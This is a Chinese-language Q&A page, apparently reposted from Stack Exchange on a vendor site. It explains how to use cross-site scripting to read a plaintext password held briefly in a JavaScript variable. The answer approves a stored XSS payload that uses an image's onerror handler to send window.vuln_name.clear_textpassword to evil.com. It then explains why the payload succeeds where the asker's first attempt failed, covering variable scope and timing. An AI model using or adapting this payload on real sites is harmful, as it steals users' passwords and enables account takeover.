You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何通过XSS访问仅短暂可见的包含明文密码的JavaScript变量?

问题分析与解决方案

嘿,咱们先掰扯下你最初的循环代码为啥不管用:

原代码的问题点

  • 作用域没找对:你直接在代码里访问cleartext_password,但这个变量大概率不是全局作用域的!如果它是某个函数的局部变量,全局环境根本拿不到,循环多少次都会报“未定义引用”错误。
  • 代码没实际作用:就算变量真的存在,你写的cleartext_password;只是单纯引用了变量,既不会把它输出到控制台,也不会把它发送出去,相当于白跑了循环。
  • 时机踩空了:你说这个变量是“短暂存储”的,可能你的循环执行时,变量已经被销毁或者还没初始化,自然啥也检测不到。

你最终方案的妙处

你用的存储型XSS代码相当靠谱,完美解决了这些问题:

<img src=x onerror="this.onerror=null;this.src='http://evil.com?mmmh='+window.vuln_name.clear_textpassword">
  • 找对了变量的真实位置:从window.vuln_name.clear_textpassword能看出来,这个密码变量是挂在全局对象vuln_name下面的,而不是全局直接变量——这就是你之前直接访问cleartext_password找不到的核心原因!
  • 踩准了触发时机:存储型XSS的触发节点刚好卡在密码变量存在的阶段,能精准读取到还没被销毁的明文密码。
  • 可靠的数据窃取逻辑:用img的onerror事件是XSS窃取数据的经典操作:src=x故意触发加载错误,然后在onerror里把密码拼接到恶意URL参数中,通过GET请求发送出去;this.onerror=null则是为了避免新的src加载失败时重复触发错误,防止控制台报错干扰。

内容的提问来源于stack exchange,提问作者Maicake

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.29 09:34:55